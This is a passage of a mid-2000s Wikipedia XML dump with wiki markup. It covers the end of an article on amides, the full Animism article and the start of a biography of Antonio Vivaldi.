* Cyclic amides are synthesized in the [[Beckmann rearrangement]] from oximes.
* Other amide forming reactions are the [[Passerini reaction]] and the [[Ugi reaction]]
== Amide reactions ==
* Amide breakdown is possible via [[amide hydrolysis]].
* In the [[Vilsmeier-Haack reaction]] an amide is converted into an imine.
== Amide Properties ==
An amide linkage is kinetically stable to [[hydrolysis]]. However, it can be hydrolysed in boiling alkali, as well as in strong acidic conditions. Unlike the hydrolysis of esters, the kinetics of amide hydrolysis is third order: first order with respect to the amide and second order with respect to hydroxide. Amide linkages in a [[biochemistry| biochemical]] context are called [[peptide link|peptide linkages]]. Amide linkages constitute a defining molecular feature of [[protein|proteins]], the [[secondary structure]] of which is due in part to the hydrogen bonding abilities of amides.

==Derivatives==
[[Sulfonamide]]s are analogs of amides in which the atom double bonded to oxygen is [[sulfur]] rather than carbon.

==Naming Convertions ==
*Example: CH&lt;sub&gt;3&lt;/sub&gt;CONH&lt;sub&gt;2&lt;/sub&gt; is named [[acetamide]] or [[ethanamide]]
*Other examples: propan-1-amide, N,N-dimethylpropanamide, [[acrylamide]]
*For more detail see [[IUPAC_nomenclature#Amines_and_Amides]]

==External links ==
*[http://www.chemsoc.org/chembytes/goldbook/ IUPAC Compendium of Chemical Terminology]

[[Category:Amides]]
[[Category:Functional groups]]

[[ar:اميد]]
[[da:Amid (funktionel gruppe)]]
[[de:Amide]]
[[es:Amida]]
[[eo:Amido]]
[[fr:Amide]]
[[he:אמיד]]
[[nl:Amide]]
[[ja:アミド]]
[[pl:Amid]]
[[ru:Амиды]]</text>
    </revision>
  </page>
  <page>
    <title>Animism</title>
    <id>1423</id>
    <revision>
      <id>41521068</id>
      <timestamp>2006-02-27T22:39:23Z</timestamp>
      <contributor>
        <username>CJLippert</username>
        <id>445263</id>
      </contributor>
      <minor />
      <comment>/* See also */</comment>
      <text xml:space="preserve">In [[religion]], the term '''&quot;Animism&quot;''' is used in a number of ways.  
*Animism (from ''animus'', or ''anima'', [[mind]] or soul), originally means the doctrine of [[spiritual beings]].  
*It is often extended to include the belief that personalized, [[supernatural]] beings (or souls) endowed with [[reason]], [[intelligence (trait)|intelligence]] and [[volition]] inhabit ordinary objects as well as animate beings, and govern their existence ([[pantheism]] or [[animatism]]). More simply, the belief is that &quot;[[everything]] is [[alive]]&quot;, &quot;everything is [[conscious]]&quot; or &quot;everything has a soul&quot;.  
*It has been further extended to mean a belief that the world is a community of living [[persons]], only some of whom are human.  It also refers to the culture or philosophy which these types of Animists live by, that is, to attempt to relate respectfully with the persons (human, rock, plant, animal, bird, ancestral, etc.) who are also members of the wider community of life.  
'''&quot;Animism&quot;''' can refer to the [[religion]] or [[beliefs]] or [[philosophy]] of the above interpretations.  It can also refer to the [[culture]] and [[practice]]s related to Animism.

&quot;Animism&quot; was the term used by [[anthropology | anthropologist]], Sir [[E. B. Tylor]], as a proposed theory of [[religion]], in his [[1871]] book, ''[[Primitive Culture]]''.   He used it to mean a 'belief in spirits' (i.e. mystical, supernatural, non-empirical or imagined entities).  Tylor's use of the term  has since been widely criticized (see details below).  Today the term is used with more respect.

Today Animists live in significant numbers in countries such as [[Zambia]], the [[Democratic Republic of the Congo]], [[Gabon]], the [[Republic of Guinea Bissau]], [[Indonesia]], [[Laos]], [[Myanmar]], [[Papua New Guinea]], the [[Philippines]], [[Russia]], [[Sweden]], [[Thailand]], and the [[United States of America]].

Modern [[Neopaganism|Neopagans]], especially Eco-Pagans, sometimes describe themselves as animists, meaning that they respect the diverse community of living beings with whom humans share the world/cosmos. Some, however, use the term to refer to the idea that the [[Mother goddess]] and [[Horned god]] consist of everything that exists. This [[Pantheism]] in which [[God]] is equated with [[existence]] is different from animism because it imputes value to individual living beings and/or objects because they might reveal a larger reality or divinity behind everything. Animists respect beings for their own sake - whether because they have or are souls (as in the original definition of the word) or because they are persons (the new definition). 

==Overview==
In some animistic worldviews found in [[hunter-gatherer]] cultures, the human being is often regarded as on a roughly equal footing with animals, plants, and natural forces. Therefore, it is morally imperative to treat these agents with respect. In this worldview, humans are considered a denizen, or part, of nature, rather than superior to or separate from it. In such societies, ritual is considered essential for survival as it wins the favor of the spirits of one's source of food, shelter, and fertility and wards off malevolent spirits. In more elaborate animistic religions, such as [[Shinto]], there is a greater sense of a special character to humans that sets them apart from the general run of animals and objects, while retaining the necessity of ritual to ensure good luck, favorable harvests, and so on.

Most animistic belief systems hold that the spirit survives physical death. In some systems, the spirit is believed to pass to an easier world of abundant game or ever-ripe crops, while in other systems (''e.g.'', the [[Navajo Nation|Navajo]] religion), the spirit remains on earth as a [[ghost]], often malignant. Still other systems combine these two beliefs, holding that the soul must journey to the spirit world without becoming lost and thus wandering as a ghost. [[Funeral]], [[mourning]] rituals, and [[ancestor worship]] performed by those surviving the deceased are often considered necessary for the successful completion of this journey.

Rituals in animistic cultures are often performed by [[shaman|shamans]] or [[priest|priests]], who are usually seen as possessing spiritual powers greater than or external to the normal human experience.

The practice of [[shrunken head|head shrinking]] as found among [[headhunter]]s derives from an animistic belief that one's war enemies, if the spirit is not trapped within the head, can escape the body. After the spirit [[transmigrates]] to another body, they take the form of a [[predator]]y animal and exact revenge.

Animism is the belief that objects and ideas including animals, tools, and natural phenomena have or are expressions of living [[spirit]]s.

==Origins==
Early ideas on the subject of the soul, and at the same time the origin of them, can be illustrated by analysis of the terms applied to them. Readers of [[Dante Alighieri|Dante]] know the idea that the dead have no shadows. This was no invention of the poet's but a piece of traditional lore.

Among the [[Basutoland|Basutus]] it is held that a man walking by the brink of a river may lose his life if his shadow falls on the water, for a [[crocodile]] may seize it and draw him in. 

In [[Tasmania]], [[North America|North]] and [[South America]] and classical Europe is found the conception that the soul &amp;#8212; &amp;#963;&amp;#954;&amp;#953;&amp;#8049;, ''umbra'' &amp;#8212; is identical with the shadow of a person. More familiar to Europeans is the connection between the soul and the breath. This identification is found both in [[Indo-European languages | Indo-European]] and [[Semitic languages]]. In Latin we have ''spiritus'', in Greek ''pneuma'', in Hebrew ''ruach''. The idea is found extending other planes of culture in Australia, America and Asia.

For some of the [[Native Americans (U.S.)|Native Americans]] and [[First Nations]] the [[Roman religion|Roman]] custom of receiving the breath of a dying man was no mere pious duty but a means of ensuring that his soul was transferred to a new body. Other familiar conceptions identify the [[soul]] with the [[liver]] (see [[omen]]) or the [[heart]], with the reflected figure seen in the [[pupil]] of the [[eye]], and with the [[blood]]. 

Although the soul is often distinguished from the vital principle, there are many cases in which a state of unconsciousness is explained as due to the absence of the soul. In [[South Australia]] ''wilyamarraba'' (without soul) is the word used for insensible.  So too the [[autohypnosis|autohypnotic]] [[trance]] of the [[magician]] or ''[[shaman]]'' is regarded as due to their visit to distant regions or the [[netherworld]], of which they bring back an account. [[Telepathy]] or [[clairvoyance]], with or without [[trance]], may have operated to produce a conviction of the dual nature of man, for it seems possible that facts unknown to the [[automatism|automatist]] are sometimes discovered by means of [[crystal gazing]].

Sickness is often explained as due to the absence of the soul and means are sometimes taken to lure back the [[wandering soul]].  In [[China|Chinese]] tradition, when a person is at the point of death and their soul believed to have left their body, the patient's coat is held up on a long bamboo pole while a priest endeavours to bring the departed spirit back into the coat by means of [[incantation]]s.  If the bamboo begins to turn round in the hands of the relative who is deputed to hold it, it is regarded as a sign that the soul of the [[moribund]] has returned (see [[automatism]]).

More important perhaps than all these phenomena, because more regular and normal, was the daily period of [[sleep]] with its frequent fitful and incoherent ideas and images. The mere immobility of the body was sufficient to show that its state was not identical with that of waking. When, in addition, the sleeper awoke to give an account of visits to distant lands, from which, as modern [[psychic]]al investigations suggest, they may even have brought back veridical details, the conclusion must have been irresistible that in sleep something journeyed forth, which was not the body (see [[astral travel]]). In a minor degree, revival of [[memory]] during sleep and similar phenomena of the sub-conscious life may have contributed to the same result. [[Dreams]] are sometimes explained in animist cultures as journeys performed by the sleeper, sometimes as visits paid by other persons, by animals or objects to the sleeper. [[Hallucinations]], possibly more frequent in the lower stages of culture, must have contributed to fortify this interpretation, and the animistic theory in general. Seeing the [[phantasm]]ic figures of friends at the moment when they were, whether at the point of death or in good health, many miles distant, must have led people irresistibly to the [[dualistic theory]]. But hallucinatory figures, both in dreams and waking life, are not necessarily those of the living. From the reappearance of dead friends or enemies, primitive man was inevitably led to the belief that there existed an incorporeal part of man, which survived the dissolution of the body. The soul was conceived to be a facsimile of the body, sometimes no less material, sometimes more subtle but yet material, sometimes altogether impalpable and intangible.

If the phenomena of dreams were, as suggested above, of great importance for the development of animism, the belief, which must originally have been a doctrine of human [[psychology]], cannot have failed to expand speedily into a general [[philosophy]] of [[nature]]. Not only human beings but animals and objects are seen in dreams and the conclusion would be that they too have souls. The same conclusion may have been reached by another line of argument.

[[Folk psychology]] posited a spirit in a person to account, amongst other things, for their actions. A natural explanation of the changes in the external world would be that they are due to the operations and volitions of spirits.

But apart from considerations of this sort, it is probable that animals must have been regarded as possessing souls, early in the history of animistic beliefs. We may assume that man attributed a soul to the beasts of the field almost as soon as he claimed one for himself. 

The animist may attribute to animals the same sorts of ideas, the same soul, the same mental processes as himself, which may also be associated with greater power, cunning, or magical abilities.  Dead animals are sometimes credited with a knowledge of how their remains are treated, potentially with the power to take vengeance on the hunter if he is disrespectful. 

It is not surprising to find that many peoples respect and even worship animals (see ''[[totem]]'' or ''[[animal worship]]''), often regarding them as relatives. It is clear that widespread respect was paid to animals as the abode of dead ancestors, and much of the [[cult]]s to dangerous animals is traceable to this principle; though we need not attribute an animistic origin to it. 

With the rise of [[species]], [[deities]] and the cult of individual animals, the path towards [[anthropomorphization]] and [[polytheism]] is opened and the respect paid to animals tended to be reduced or lost entirely, especially in its strict animistic character.

==Plant souls==
Just as human souls are assigned to animals, so too are [[tree]]s and [[plant]]s often credited with souls, both human and animal in form. All over the world [[agricultural]] peoples practise elaborate ceremonies explicable, as [[Wilhelm Mannhardt]] has shown, on animistic principles. 

In Europe the [[John Barleycorn | corn spirit]] sometimes [[immanent]] in the crop, sometimes a presiding [[deity]] whose life does not depend on that of the growing corn, is conceived in some districts in the form of an [[ox]], [[hare]] or [[cock]], in others as an old man or woman. In the [[East Indies]] and Americas the [[rice]] or [[maize mother]] is a corresponding figure; in [[classical Europe]] and the [[Eastern world |East]] we have in [[Ceres]] and [[Demeter]], [[Adonis]] and [[Dionysus]], and other deities, vegetation gods whose origin we can readily trace back to the rustic corn spirit. 

[[Forest]] [[tree]]s, no less than [[cereal]]s,  may have their indwelling spirits.  The [[faun]]s and [[satyr]]s of classical literature were [[goat]]-footed; in [[Russia]], the [[tree spirit]] of the Russian peasantry takes the form of a [[goat]]. In [[Bengal]] and the [[East Indies]] woodcutters endeavour to propitiate the spirit of the tree which they cut down. In many parts of the world trees are regarded as the abode of the spirits of the dead. Just as a process of [[syncretism]] has given rise to cults of animal gods, tree spirits tend to become detached from the trees, which are thenceforward only their abodes. Here again animism has begun to pass into [[polytheism]].

== Object souls ==
Some cultures do not make a distinction between [[animate]] and inanimate objects.  Natural phenomenon, [[geographic]] features, everyday objects, and manufactured articles may also be attributed with souls.

In the north of Europe, in [[ancient Greece]], in [[China]], the water or river spirit is [[horse]] or [[bull]]-shaped. The water monster in serpent shape is even more widely found, but it is less strictly the spirit of the water. The spirit of syncretism manifests itself in this department of animism too, turning the immanent spirit into the presiding [[djinn]] or [[local god]] of later times.

== Animism and death==
In many parts of the world it is held that the human body is the seat of more than one soul. On the island of [[Nias]] four are distinguished: the shadow and the intelligence, which die with the body, a [[tutelary]] spirit, termed ''begoe'', and a second spirit, which is carried on the head. Similar ideas are found among the [[Euahlayi]] of southeast Australia, the [[Dakota]]s and many other tribes. Just as in Europe the [[ghost]] of a dead person is held to haunt the churchyard or the place of death, so do other cultures assign different abodes to the multiple souls with which they credit man. Of the four souls of a Dakota, one is held to stay with the corpse, another in the village, a third goes into the air, while the fourth goes to the land of souls, where its lot may depend on its rank in this life, its [[sex]], mode of death or sepulture, on the due observance of [[funeral]] ritual, or many other points.

From the belief in the survival of the dead arose the practice of offering food, lighting fires, etc., at the grave, at first, maybe, as an act of friendship or filial piety, later as an act of [[ancestor worship]]. The simple offering of food or shedding of blood at the grave develops into an elaborate system of [[sacrifice]]. Even where ancestor worship is not found, the desire to provide the dead with comforts in the future life may lead to the sacrifice of wives, slaves, animals, and so on, to the breaking or burning of objects at the grave or to the provision of the [[Charon (mythology)|ferryman]]'s toll: a coin put in the mouth of the corpse to pay the traveling expenses of the soul. But all is not finished with the passage of the soul to the land of the dead. The soul may return to avenge its death by helping to discover the murderer, or to wreak vengeance for itself. There is a widespread belief that those who die a violent death become malignant spirits and endanger the lives of those who come near the haunted spot. The woman who dies in childbirth becomes a [[pontianak]], and threatens the life of human beings. People resort to magical or religious means of repelling their spiritual dangers.

== Evil spirits ==
Side by side with the doctrine of separable souls with which we have so far been concerned, exists the belief in a great host of unattached spirits. These are not immanent souls that have become detached from their abodes, but have instead every appearance of independent spirits.

These spirits are at first mainly malevolent. Side by side with them we find the spirits of the dead as hostile beings. At a higher stage the spirits of dead kinsmen are no longer unfriendly, nor yet all non-human spirits. As [[fetish]]es, [[nagual]]s (see [[totem]]), [[familiar spirit]]s, gods or [[demi-gods]] (see also [[demonology]]), they enter into relations with man. On the other hand there still subsists a belief in innumerable evil spirits, which manifest themselves in the phenomena of [[possession]], [[lycanthropy]], disease, and so on. The fear of evil spirits has given rise to ceremonies of expulsion of evils (see [[exorcism]]), designed to banish them from the community.

== Differences between animism and religion ==
Animism is commonly described as the most primitive form of [[religion]], but properly speaking it is not a religion at all.  Animism is in the first instance an explanation of phenomena rather than an attitude of mind toward the cause of them, a [[philosophy]] rather than a religion. The term may, however, be conveniently used to describe the early stage of religion in which people endeavour to set up relations between themselves and the unseen powers, conceived as spirits, but differing in many particulars from the gods of [[polytheism]]. As an example of this stage in one of its aspects may be taken the European belief in the corn spirit, which is, however, the object of magical rather than religious rites.  Sir James G. Frazer, in ''The Golden Bough'', has thus defined the character of the animistic pantheon: 

:''they are restricted in their operations to definite departments of nature; their names are general, not proper; their attributes are generic rather than individual; in other words, there is an indefinite number of spirits of each class, and the individuals of a class are much alike; they have no definitely marked individuality; no accepted traditions are current as to their origin, life and character.''

This stage of religion is well illustrated by the [[Native American (U.S.)|Native American]] custom of offering sacrifice to certain rocks, or whirlpools, or to the indwelling spirits connected with them. The rite is only performed in the neighbourhood of the object, it is an incident of a [[canoe]] or other voyage, and is not intended to secure any benefits beyond a safe passage past the object in question. The spirit to be propitiated has a purely local sphere of influence, and powers of a very limited nature. Animistic in many of their features too are the temporary gods of [[fetishism]], naguals or familiars, [[Genie | genii]] and even the dead who receive a cult. With the rise of a belief in departmental gods comes the age of polytheism. The belief in [[elemental spirits]] may still persist, but they fall into the background and receive no cult.

== Animism and the origin of religion ==
Two animistic theories of the origin of [[religion]] have been put forward. The one, often termed the &quot;ghost theory,&quot; mainly associated with the name of [[Herbert Spencer]], but also maintained by [[Grant Allen]], refers the beginning of religion to the cult of dead human beings. 

The other, put forward by Dr. E. B. [[Tylor]], makes the foundation of all religion animistic, but recognizes the non-human character of polytheistic gods. Although ancestor-worship, or, more broadly, the [[cult]] of the dead, has in many cases overshadowed other cults or even extinguished them, we have no warrant, even in these cases, for asserting its priority, but rather the reverse. In the majority of cases the pantheon is made up by a multitude of spirits in human, sometimes in animal form, which bear no signs of ever having been incarnate. [[Sun god]]s and [[moon goddess]]es, gods of fire, wind and water, gods of the sea, and above all gods of the sky, show no signs of having been ghost gods at any period in their history. They may, it is true, be associated with ghost gods. In Australia it cannot even be asserted that the gods are spirits at all, much less that they are the spirits of dead men. They are simply magnified magicians, super-men who have never died. We have no ground, therefore, for regarding the cult of the dead as the origin of religion in this area. This conclusion is the more probable, as ancestor-worship and the cult of the dead generally cannot be said to exist in Australia.

The more general view that polytheistic and other [[gods]] are the elemental and other spirits of the later stages of animistic creeds, is equally inapplicable to Australia, where the belief seems to be neither animistic nor even animatistic in character. But we are hardly justified in arguing from the case of Australia to a general conclusion as to the origin of religious ideas in all other parts of the world. It is perhaps safest to say that the science of religions has no data on which to go, in formulating conclusions as to the original form of the objects of religious emotion. It must be remembered that not only is it very difficult to get precise information of the subject of the religious ideas of people of some other cultures, perhaps for the simple reason that the ideas themselves are far from precise, but also that, as has been pointed out above, the conception of spiritual often approximates very closely to that of material. Where the soul is regarded as no more than a finer sort of matter, it will obviously be far from easy to decide whether the gods are spiritual or material. Even, therefore, if we can say that at the present day the gods are entirely spiritual, it is clearly possible to maintain that they have been spiritualized ''pari passu'' with the increasing importance of the animistic view of nature and of the greater prominence of [[Eschatology | eschatological]] beliefs. The animistic origin of religion is therefore not proven.

== Animism and mythology ==
Little need be said on the relation of animism and [[mythology]]. While a large part of mythology has an animistic basis, it is possible to believe, e.g. in a sky world, peopled by corporeal beings, as well as by spirits of the dead.  The latter may even be entirely absent.  The mythology of the Australians relates largely to corporeal, non-spiritual beings.  Stories of transformation, [[deluge (mythology)]] and doom myths, or myths of the origin of death, have not necessarily any animistic basis. At the same time, with the rise of ideas as to a future life and spiritual beings, this field of mythology is immensely widened, though it cannot be said that a rich mythology is necessarily genetically associated with or combined with belief in many spiritual beings.

== Animism in philosophy ==
The term &quot;animism&quot; has been applied to many different philosophical systems. It is used to describe [[Aristotle]]'s view of the relation of soul and body held also by the [[Stoics]] and [[Scholastics]]. On the other hand [[monadology]] ([[Leibniz]]) has also been termed animistic. The name is most commonly applied to [[vitalism]], a view mainly associated with [[Georg Ernst Stahl]] and revived by [[F. Bouillier]] ([[1813]]-[[1899]]), which makes life, or life and mind, the directive principle in evolution and growth, holding that all cannot be traced back to chemical and mechanical processes, but that there is a directive force which guides energy without altering its amount. An entirely different class of ideas, also termed animistic, is the belief in the world soul, held by [[Plato]], [[Schelling]] and others.

== Tylor ==
Tylor argued that non-Western societies relied on animism to explain why things happen.  He further argued that animism is the earliest form of religion, and reveals that humans developed religions in order to explain things.  At the time that Tylor wrote, this theory was politically radical because it made the claim that non-Western peoples and in particular, non-Christian &quot;heathens&quot;, in fact do have religion.  However, since the publication of ''Primitive Culture'', Tylor's theories have come under criticism from three quarters.  First, some have questioned whether the beliefs of diverse peoples living in different parts of the world and not communicating with one another can be lumped together as one kind of religion. Second, some have questioned whether the basic function of religion really is to &quot;explain&quot; the universe (critics like Marrett and [[Emil Durkheim]] argued that religious beliefs have emotional and social, rather than intellectual, functions).  Finally, many now see Tylor's theories as [[ethnocentric]].  Not only was he imposing a contemporary and Western view of religion (that it explains the inexplicable) on non-Western cultures, he was also telling the story of a progression from religion (which provides poor explanations) to [[science]] (which provides good explanations) (see [[cultural evolution]]).

==List of phenomena believed to lead to animism==
Lists of phenomena from the contemplation of which &quot;the savage&quot; was led to believe in animism have been given by Sir [[E. B. Tylor]], [[Herbert Spencer]], [[Andrew Lang]] and others; an animated controversy arose between the former as to the priority of their respective lists. Among these phenomena are: 

* [[Trance]] 
* [[Unconsciousness]]
* [[Sickness]]
* [[Death]]
* [[Clairvoyance]]
* [[Dream]]s
* [[Apparition]]s of the [[dead]]
* [[Wraith (entity)|Wraith]]s
* [[Hallucination]]s
* [[Echo]]es
* [[Shadow]]s
* [[Reflection]]s

== The new animism ==
In an article entitled &quot;Revisiting Animism&quot;, Nurit Bird-David builds on the work of Irving Hallowell by discussing the animist worldview and lifeway of the Nayaka of India. Hallowell had learnt from the Ojibwa of southern central Canada that the humans are only one kind of 'person' among many. There are also 'rock persons', 'eagle persons' and so on. Hallowell and Bird-David discuss the ways in which particular indigenous cultures know how to relate to particular persons (individuals or groups). There is no need to talk of metaphysics or impute non-empirical 'beliefs' in discussing animism. What is required is an openness to consider that humans are neither separate from the world nor distinct from other kinds of being in most significant ways. The new animism also makes considerably more sense of attempts to understand 'totemism' as an understanding that humans are not only closely related to other humans but also to particular animals, plants, etc. It also helps by providing a term for the communities among whom shamans work: they are animists not 'shamanists'. Shamans are employed among animist communities to engage or mediate with other-than-human persons in situations that would be fraught or dangerous for un-initiated, untrained or non-skillful people. The -ism of 'animism' should not suggest an overly systematic approach (but this is true of the lived reality of most religious people), but it is preferable to the term ''[[shamanism]]'' which has led many commentators to construct an elaborate system out of the everyday practices of animists and those they employ to engage with other-than-human persons. 
The new animism is most fully discussed in a recent book by Graham Harvey, ''Animism: Respecting the Living World''. But it is also significant in the 'animist realist' novels now being written among many indigenous communities worldwide. The term 'animist realism' was coined by Harry Garuba, a Nigerian scholar of literature, in comparison with 'magical realism' that describes works such as Marquez's ''[[One Hundred Years of Solitude]]''. 

== See also ==
* [[hylozoism|Hylozoism]]
* [[Midewiwin]]
* [[Monism]]
* [[Panentheism]]
* [[panpsychism|Panpsychism]]
* [[Pantheism]]

==Suggested Reading==
[[The Story of B]] By [[Daniel Quinn]]

== References ==
* Bird-David, Nurit. 1991. &quot;Animism Revisited: Personhood, environment, and relational epistemology&quot;, ''Current Anthropology'' 40, pp. 67-91. Reprinted in Graham Harvey (ed.) 2002. ''Readings in Indigenous Religions'' (London and New York: Continuum) pp.72-105. 
* Hallowell, A. Irving. &quot;Ojibwa ontology, behavior, and world view&quot; in Stanley Diamond (ed.) 1960. ''Culture in History'' (New York: Columbia University Press). Reprinted in Graham Harvey (ed.) 2002. ''Readings in Indigenous Religions'' (London and New York: Continuum) pp.17-49. 
* Harvey, Graham. 2005. ''Animism: Respecting the Living World'' (London: Hurst and co.; New York: Columbia University Press; Adelaide: Wakefield Press). 
* Thomas, Northcote Whitbridge. Animism. ''[[1911 Encyclopædia Britannica]]''

==External links==
* [http://www.starstuffs.com/animal_totems/ Animism and Totem Spirit Animals: Discovering Animal Totems, Dictionaries, Feathers]
*[http://www.ishmael.org/interaction/qanda/qanda.cfm Ishmael.org FAQ] A database which includes many questions and answers regarding animism (and which conflicts greatly with the definition of the 'old' animism above while illustrating one version of the 'new' animism quite well) on the website of [[Daniel Quinn]], author of My Ishmael. Choose ''Animism'' from ''Topic''.
*[http://www.animism.org.uk] is a new website devoted to the discussion of the new animism. It arises from the work of Graham Harvey whose book ''Animism: Respecting the Living World'' discusses the whole topic, its benefits and problems, in considerable detail.
*[http://people.freenet.de/ishmael/animism.html] A personal view of animism
*[http://www.actionintl.org/action/content/view/223/212/] Animism in Zambia

[[Category:1911 Britannica]]
[[Category:Animism]]
[[Category:Religious faiths, traditions, and movements]]

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    <title>Antonio Vivaldi</title>
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      <minor />
      <text xml:space="preserve">:''For the two explorers who sailed into the Atlantic in 1291, see [[Vandino and Ugolino Vivaldi]].''

[[Image:Vivaldi.jpg|right|thumb|210px|Unconfirmed portrait of Antonio Vivaldi]]

'''Antonio Lucio Vivaldi''' ([[March 4]], [[1678]] &amp;ndash; [[July 28]], [[1741]]),  nicknamed '''Il Prete Rosso''', meaning &quot;The Red Priest,&quot; was an [[Italy|Italian]] priest and [[baroque music]] composer.
 
==Biography== 
Antonio Lucio Vivaldi was born on [[March 4]], [[1678]] in [[Venice]], [[Italy]]. He was baptized immediately at his home by the midwife due to ''danger of death''. It is not determined what that means but it probably refered to an earthquake that shook the city that day or the infant's poor health. Vivaldi's official church baptism didn't take place until 2 months later. His father, Giovanni Battista, a [[barber]] before becoming a professional [[violinist]], taught him to play violin at first, then toured Venice playing violin with his father. Vivaldi had a medical problem which he called the ''tightening of the chest'' ([[asthma]]). His medical problem, however did not prevent him from learning to play the violin, compose and take part in any musical activities. At the age of 15 ([[1693]]) he began studying to become a priest. In [[1703]], 10 years later, at the age of 25, Vivaldi was ordained as a priest, soon nicknamed ''Il Prete Rosso'', &quot;The Red Priest,&quot; probably because of his red hair.  

Not long after, in [[1704]], he was given a dispensation from celebrating the [[Holy Mass]] because of his ill-health (he apparently suffered from [[asthma]], a breathing disorder) and in late [[1706]] he withdrew from the priesthood and became ''maestro di violino'' at an orphanage for girls called the [[Pio Ospedale della Pietà]] in [[Venice]]. Shortly after his appointment, the orphans began to gain appreciation and esteem abroad too; Vivaldi wrote for them most of his concertos, cantatas, and sacred music. In [[1705]] the first collection (''[[raccolta]]'') of his works was published. Many others would follow.  At the orphanage he covered several different duties, with the only interruption for his many travels.  In [[1709]], he was let go for economic reasons, but in [[1711]], he was offered the job again and in [[1713]] became responsible for the musical activity of the institute.  

Vivaldi was promoted to ''maestro de' concerti'' in [[1716]]. It was during these years that Vivaldi wrote much of his music, including many operas and concertos. In [[1718]], Vivaldi began to travel. Despite his frequent travels, the Pietà paid him to write two concertos a month for the orchestra and to rehearse with them at least four times when in [[Venice]]. The Pietà's records show that he was paid for 140 concertos between [[1723]] and [[1729]]. Not so well known is the fact that most of his repertoire was re-discovered only in the first half of the [[20th century]] in [[Turin]] and [[Genoa]], but was published in the second half.  Vivaldi's music is innovative, breaking a consolidated tradition in schemes; he gave brightness to the formal and the rhythmic structure of the concerto, repeatedly looking for [[harmonic]] contrasts, and invented innovative melodies and themes. Moreover, Vivaldi was able to compose non-academic music, particularly meant to be appreciated by the wide public, and not only by an intellectual minority. The joyful appearance of his music reveals in this regard a transmissible joy of composing. These are among the causes of the vast popularity of his music. This popularity soon made him famous also in countries like [[France]], at the time very independent in its musical taste.

Vivaldi is considered one of the composers who brought [[Baroque Music|Baroque music]] (with its typical contrast among heavy sonorities) to evolve into a classical style.   [[Johann Sebastian Bach]] was deeply influenced by Vivaldi's concertos and arias (recalled in his [[Passion]]s and [[cantata]]s). Bach transcribed a number of Vivaldi's concertos for solo keyboard, along with a number for orchestra, including the famous Concerto for Four Violins and Violoncello, Strings and Continuo ([[Ryom Verzeichnis|RV]] 580). However, not all musicians have shown the same enthusiasm: [[Igor Stravinsky]] provocatively said that Vivaldi had not written hundreds of concertos, but one concerto,   hundreds of times. Despite his priestly status, he is supposed to have had possible love affairs, one of which was with the [[singer]] [[Anna Giraud]], with whom he was suspected of reusing materials from old Venetian operas, which   he only slightly adapted to the vocal capabilities of his protegée. This business caused him some troubles with other musicians, like [[Benedetto Marcello]], who wrote a [[pamphlet]] against him.  There is no concrete evidence, however, that links Vivaldi romantically to anyone.

Vivaldi's life, like those of many composers of the time, ended in poverty. His compositions no longer held the high esteem they once did in Venice; changing musical tastes quickly made them outmoded, and Vivaldi, in response, chose to sell off sizeable numbers of his manuscripts at paltry prices to finance a migration to [[Vienna]]. Reasons for Vivaldi's departure from Venice are unclear, but it seems likely that he wished to meet [[Charles VI, Holy Roman Emperor|Charles VI]], who adored his compositions (Vivaldi dedicated ''La Cetra'' to Charles in [[1727]]), and take up the position of royal composer in his Imperial Court. But shortly after Vivaldi's arrival at Vienna, Charles died. This tragic stroke of bad luck left the composer without royal protection and a source of income. Vivaldi had to sell off more manuscripts to make ends meet, and eventually died not long after, in [[1741]]. He was given an unmarked pauper's grave (the assumption that the young [[Joseph Haydn]] sang in the choir at Vivaldi's burial was based on the mistranscription of a primary source and has been proven wrong). Equally unfortunate, his music was to fall into obscurity until the [[20th century]]. His burial spot is next to the Karlskirche in Vienna, at the site of the Technical Institute.  The house he lived in while in Vienna was torn down.  In its place now stands the Hotel Sacher.  Memorial plaques have been placed at both locations, as well as a Vivaldi &quot;star&quot; in the Viennese Musikmeile and a monument at the Rooseveltsplatz.

==Posthumous reputation==
Vivaldi remained known for his published concerti, and largely ignored, even after the resurgence of interest in Bach, pioneered by [[Felix Mendelssohn|Mendelssohn]]. The resurrection of Vivaldi's unpublished works in the 20th century is mostly thanks to the efforts of [[Alfredo Casella]], who in [[1939]], organised the now historic ''Vivaldi Week'', in which the rediscovered ''Gloria in excelsis'' ([[Ryom Verzeichnis|RV]]  589) was first heard again. Discoveries continue to be made: a setting of ''Nisi Dominus'' (RV 803)  was discovered as recently as 2003, in a German library among manuscripts of [[Galuppi]]; it was recorded in 2005. Following World war II Vivaldi's compositions have enjoyed almost universal success, and the advent of [[historically informed performance]]s has all but catapulted him to stardom once again. In [[1947]], the Venetian businessman [[Antonio Fanna]] founded the [[Istituto Italiano Antonio Vivaldi]], with the composer [[Gian Francesco Malipiero]] as its artistic director, with the purpose of promoting Vivaldi's music and putting out new editions of his works. 

Three films about Antonio Vivaldi are in production as of [[2005]]. One of them, with the working title ''Vivaldi'', will be directed by [[Catherine Hardwicke]] for Emagine Entertainment, while the second could have [[Ashley MacIsaac]] in the title role.  A third, made by French/Italian producers with Stefano Dionisi as Vivaldi and Michel Serrault in the main roles, is scheduled to be completed in [[2005]].

Vivaldi's music, together with [[Wolfgang Amadeus Mozart|Mozart]]'s, [[Pyotr Ilyich Tchaikovsky|Tchaikovsky]]'s and [[Arcangelo Corelli|Corelli]]'s, has been included in the theories of [[Alfred Tomatis]] on the effects of music on human behaviour, and used in [[music therapy]].   

The 11-movement &quot;Dixit Dominus&quot; for choir and soloists, uncovered in the German city of Dresden in early [[2005]], will be played there in full in [[2006]].

He was a prolific [[composer]] and is most well-known for composing:

*over 500 [[Concerto|concertos]] (210 of which were for violin or violoncello ''solo''), 
*46 [[opera]]s, 
*sinfonias, 
*73 sonatas, 
*[[chamber music]] (even if some sonatas for [[flute]], as ''Il Pastor Fido'', have been erroneously attributed to him, but were composed by [[Chédeville]]) and 
*[[sacred music]] (&quot;oratorio&quot; ''Juditha Triumphans'', written for Pietà, two ''Glorias'', the  ''Stabat Mater'', the ''Nisi Dominus'', the ''Beatus Vir'', the ''Magnificat'', the ''Dixit Dominus'' and others); 
*his most famous work is perhaps [[1723]]'s ''[[The Four Seasons (Vivaldi)|Le Quattro Stagioni]]'' (The Four Seasons). In essence, it resembled an early example of a [[tone poem]], where he attempted to capture all the moods of the four seasons without the use of [[percussion instrument|percussion]] to dramatize the effects he sought to portray.

==Major works==
===Published works in his lifetime===
* Opus 1, 12 Sonatas for 2 violins and basso continuo ([[1705]])
* Opus 2, 12 Sonatas for violin and basso continuo ([[1709]])
